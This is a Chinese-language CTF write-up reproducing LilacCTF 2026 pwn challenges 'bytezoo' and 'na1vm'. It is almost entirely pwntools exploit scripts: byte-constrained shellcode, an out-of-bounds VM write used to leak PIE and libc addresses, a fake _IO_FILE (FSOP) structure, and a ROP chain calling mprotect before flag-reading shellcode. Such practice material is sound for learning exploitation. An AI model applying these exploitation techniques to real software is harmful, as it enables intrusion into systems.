LilacCTF-2026-复现
bytezoo
构造shellcode,但是对于输入的每一种字节码都做了一次检查,要求输入的shellcode中每一种字节码的个数不能超过其本身中每4位上数字的最小值,libc的地址从fs_base中得到
from pwn import *
from pwn_std import *
p=getProcess("123",13,'./pwn')
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.9_amd64/libc.so.6")
cmd = """
b *$rebase(0x000000000000195D)
"""
shellcode=asm('''
mov rbp, qword ptr fs:[0xffffffffffffffc8]
lea rbp, [rbp - 0x18996A]
sub ebx, ebx
push rbx
push 0x67616c66
push rsp
pop rdi
mov esi, ebx
mov edx, ebx
push -2
pop rax
neg eax
call rbp
mov esi, eax
push rbx
pop rdi
inc edi
mov edx, ebx
push 100
pop rax
mov r10, rax
push 40
pop rax
call rbp
''')
gdbbug(cmd)
sa("work.",shellcode)
ita()na1vm
做吐了....................,不过还是学到了不少东西
from pwn import *
from pwn_std import *
p=getProcess("123",13,'./pwn')
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.42-2ubuntu2_amd64/libc.so.6")
'''
while (i_0) {
v16 = next_from_buf_();
n0x40 = (v16 >> 56) & 0xFF;
switch (n0x40) {
case 0: // 内存→寄存器
case 1: // 寄存器→内存
case 2: // 加法+伪随机
case 3: // 减法+伪随机
case 8: // 压栈
case 9: // 压栈(变种)
case 0xA: // 弹栈+加法
case 0xB: // 弹栈+减法
case 0x10: // 校验
case 0x40: // 清空缓冲
case 0x80: // 死循环
default: // 其它
}
sigqueue(pid, ...); // 每步都回送结果
i_0--;
}
'''
def pc(op,dst,src,offset,imm):
cmd = (dst << 48) | (src << 52) | (offset << 32) | imm
return f'{op} {cmd}'
def store(reg1, reg2, offset, imm):
return pc(0x00, reg1, reg2, offset, imm)
def load(reg1, reg2, offset, imm):
return pc(0x01, reg1, reg2, offset, imm)
def add(reg1, reg2, offset, imm):
return pc(0x02, reg1, reg2, offset, imm)
def sub(reg1, reg2, offset, imm):
return pc(0x03, reg1, reg2, offset, imm)
def pushadd(reg1, reg2, offset, imm):
return pc(0x08, reg1, reg2, offset, imm)
def pushsub(reg1, reg2, offset, imm):
return pc(0x09, reg1, reg2, offset, imm)
def popadd(reg1, reg2, offset, imm):
return pc(0x0A, reg1, reg2, offset, imm)
def popsub(reg1, reg2, offset, imm):
return pc(0x0B, reg1, reg2, offset, imm)
def retstack(imm):
return pc(0x10,1,0,0,imm)
def retreg(src,imm):
return pc(0x10,0,src,0,imm)
def resetqueue(imm):
return pc(0x40, 0, 0, 0, imm)
def subm(pl):
sla(b'> \n',str(1))
sla("$",pl)
def exec():
sla(b'> \n',str(2))
cmd = """
set debug-file-directory /home/alpha/glibc-all-in-one/libs/2.42-2ubuntu2_amd64/.debug/
dir /home/alpha/CTF/glibc-source/glibc-2.42/elf
dir /home/alpha/CTF/glibc-source/glibc-2.42/libio
dir /home/alpha/CTF/glibc-source/glibc-2.42/stdio-common
b *$rebase(0x0000000000001AF7)
b *_IO_wdoallocbuf
b *_IO_wfile_underflow
b *__vfprintf_internal
"""
####先利用一次越界写将enqueue.index给修改的很大,造成一次恶意地址写####
####利用这次恶意地址写来实现覆盖key和secret全部为0####
pl=store(0,1,0xffff,0x018c0101)
subm(pl)
exec()
pl=store(0,0,0,0)
subm(pl)
####保持环境的纯洁,重置一次环境####
pl=resetqueue(0)
subm(pl)
pl=resetqueue(0)
subm(pl)
pl=resetqueue(0)
subm(pl)
exec()
####读取栈信息####
pl=retstack(0)
subm(pl)
exec()
ru("Execute result: ")
pie=int(p.recvuntil('\n')[:-1])-(0x5e921c3b6060-0x5e921c3b2000)
print("pie=",hex(pie))
####保持环境的纯洁,重置一次环境####
pl=resetqueue(0)
subm(pl)
exec()
####再利用一次越界写将enqueue.index给修改的很大,造成一次恶意地址写####
####利用这次恶意地址写来实现覆盖stack为bss开头,这样来获取libc上的地址####
pl=store(0,1,0xffff,0x018b0101)
subm(pl)
exec()
pl=store(0,0,0,(pie+0x4040+4))
subm(pl)
####保持环境的纯洁,重置一次环境####
pl=resetqueue(0)
subm(pl)
pl=resetqueue(0)
subm(pl)
pl=resetqueue(0)
subm(pl)
exec()
def exec():
pl=resetqueue(0)
subm(pl)
sla(b'> \n',str(2))
####将栈上的信息存储到存储器中####
pl=popadd(1,15,0,0)
subm(pl)
pl=popadd(0,15,0,0)
subm(pl)
exec()
pl=retreg(1,0)
subm(pl)
pl=retreg(0,0)
subm(pl)
exec()
ru("Execute result: ")
lb=int(p.recvuntil('\n')[:-1])<<32
ru("Execute result: ")
lb=lb|int(p.recvuntil('\n')[:-1])-libc.sym["_IO_2_1_stderr_"]
print("libc_base=",hex(lb))
####先将栈给抬高回去####
pl=pushadd(2, 2, 0, 0)
subm(pl)
pl=pushadd(2, 2, 0, (pie+0x4060-0x10)&0xffffffff)
subm(pl)
pl=pushadd(2, 2, 0, ((pie+0x4060-0x10)>>32)&0xfffffff)
subm(pl)
pl=pushadd(2, 2, 0, 0)
subm(pl)
pl=pushadd(2, 2, 0, 0)
subm(pl)
pl=pushadd(2, 2, 0, (lb+0x000000000003cc45)&0xffffffff)
subm(pl)
pl=pushadd(2, 2, 0, ((lb+0x000000000003cc45)>>32)&0xfffffff)
subm(pl)
pl=pushadd(2, 2, 0, (pie+0x4168)&0xffffffff)
subm(pl)
pl=pushadd(2, 2, 0, ((pie+0x4168)>>32)&0xfffffff)
subm(pl)
exec()
#####构造一个假的_IO_FILE结构体,来控制程序的执行流####
libc_base=lb
heap_addr=pie+0x4060
fake_IO_FILE = flat({
0x0: 0, # _IO_read_end 这几个不能用于赋值
0x8: 0, # _IO_read_base 这几个不能用于赋值
0x10: pie+0x4060+0x1000, # _IO_write_base 这几个不能用于赋值
0x18: pie+0x4060+0x1000+1, # _IO_write_ptr 这几个不能用于赋值
0x20: 0, # _IO_write_end <<<----fake_IO_wide_data的起始 0x0_IO_read_ptr
0x28: 0, # _IO_buf_base 0x8:_IO_read_end
0x30: 0, # _IO_buf_end 0x10:_IO_read_base
0x38: 0, # _IO_save_base 0x18:_IO_write_base <<-- 0
0x40: 0, # _IO_backup_base 0x20:_IO_write_ptr
0x48: 0, # _IO_save_end 0x28:_IO_write_end
0x50: 0, # _markers 0x30:_IO_buf_base <<-- 0
0x58: 0, # _chain 0x38:_IO_buf_end
0x60: 0, # _fileno 0x40:_IO_save_base
0x68: 0, # _old_offset 0x48:_IO_backup_base
0x70: 0, # _cur_column 0x50:_IO_save_end
0x78: lb+(0x7342cc835790-0x7342cc600000), # _lock 0x58:_IO_state
0x80: 0, # _offset 0x60:
0x88: 0, # _codecvt 0x68
0x90: heap_addr+0x20, # _wide_data 0x70:
0x98: 0, # _freeres_list 0x78
0xa0: 0, # _freeres_buf 0x80
0xa8: 0, # __pad5 0x88
0xb0: 0xffffffff, # _mode 0x90
0xb8: 0, # 0x98
0xc0: 0, # 0xa0
0xc8:libc_base+libc.sym["_IO_wfile_jumps"]-0x20, # vtable 0xa8
0xd0:0, # 0xb0
0xd8:0, # 0xb8
0xe0:0, # 0xc0
0xe8:0, # 0xc8
0xf0:0, # 0xd0
0xf8:0x62f0f+libc_base, # 0xd8
0x100:heap_addr+0x90, #
})
rdi=lb+0x000000000011b87a
rdx=lb+0x48c92
rsi=lb+0x000000000005c207
rsp=lb+0x000000000003cc45
rrop =p64(rdi)+p64(pie+0x4000)+p64(rsi)+p64(0x2000)+p64(rdx)+p64(7)
rrop+=p64(lb+libc.sym["mprotect"])
rrop+=p64(rsi+1)+p64(pie+0x41b0)
shell = f"""
mov rsp, {hex(pie+0x4060+0x1000)}
mov rdi, {hex(pie+0x4060+0x1000)}
mov rsi, {hex(u64(b'.///flag'))}
mov [rdi], rsi
mov rsi, 0
mov rax, 2
syscall
mov rdi, rax
mov rsi, {hex(pie+0x4060+0x1000)}
mov rdx, 0x100
xor rax, rax
syscall
mov r8, rsi
mov rdi, {hex(pie+0x4010)}
mov rbx, [rdi]
mov rdi, 0x1000000
xor rbx, rdi
mov rcx, rax
loop:
cmp rcx, 0
jle out
mov rdx, [r8]
mov rdi, rbx
mov rsi, 35
mov rax, {hex(lb+libc.symbols['sigqueue'])}
push rcx
push r8
call rax
pop r8
pop rcx
add r8, 8
sub rcx, 8
jmp loop
out:
ret
"""
rrop+=asm(shell).ljust(0x100,b'\x00')
print("fake_IO_FILE_length=",hex(len(fake_IO_FILE)))
####现在,分批次将这一部分的结构体给写进去
for i in range(0, len(fake_IO_FILE), 0x8):
print(u32(fake_IO_FILE[i:i+4]))
print(u32(fake_IO_FILE[i+4:i+8]))
pl=pushadd(2, 2, 0, (u32(fake_IO_FILE[i:i+4]))&0xffffffff)
subm(pl)
pl=pushadd(2, 2, 0, (u32(fake_IO_FILE[i+4:i+8]))&0xffffffff)
subm(pl)
exec()
for i in range(0, len(rrop), 0x8):
print("length=",hex(len(rrop)))
print("i=",hex(i))
print(u32(rrop[i:i+4]))
print(u32(rrop[i+4:i+8]))
pl=pushadd(2, 2, 0, (u32(rrop[i:i+4]))&0xffffffff)
subm(pl)
pl=pushadd(2, 2, 0, (u32(rrop[i+4:i+8]))&0xffffffff)
subm(pl)
exec()
####再利用一次越界写将enqueue.index给修改的很大,造成一次恶意地址写####
####利用这次恶意地址写来实现覆盖stack为原来的栈的开头####
####我现在只有一次写stack的机会了,这一次需要写成Libc中的地址,用于控制程序的执行流
def exec():
sla(b'> \n',str(2))
pl=store(0,1,0xfdb0-1,0x018b0101)
subm(pl)
exec()
pl=store(0,0,0,(pie+0x4010+4-1))
subm(pl)
####保持环境的纯洁,重置一次环境####
pl=resetqueue(0)
subm(pl)
pl=resetqueue(0)
subm(pl)
pl=resetqueue(0)
subm(pl)
exec()
def exec():
pl=resetqueue(0)
subm(pl)
sla(b'> \n',str(2))
####现在,去篡改fd指针,诱导程序报错####
pl=pushadd(2, 2, 0, 1)
subm(pl)
# forkbug('child',cmd)
exec()
ru(b"Execute result: ")
ita()
LilacCTF-2026-复现
https://a1b2rt.cn//archives/lilacctf-2026-write_up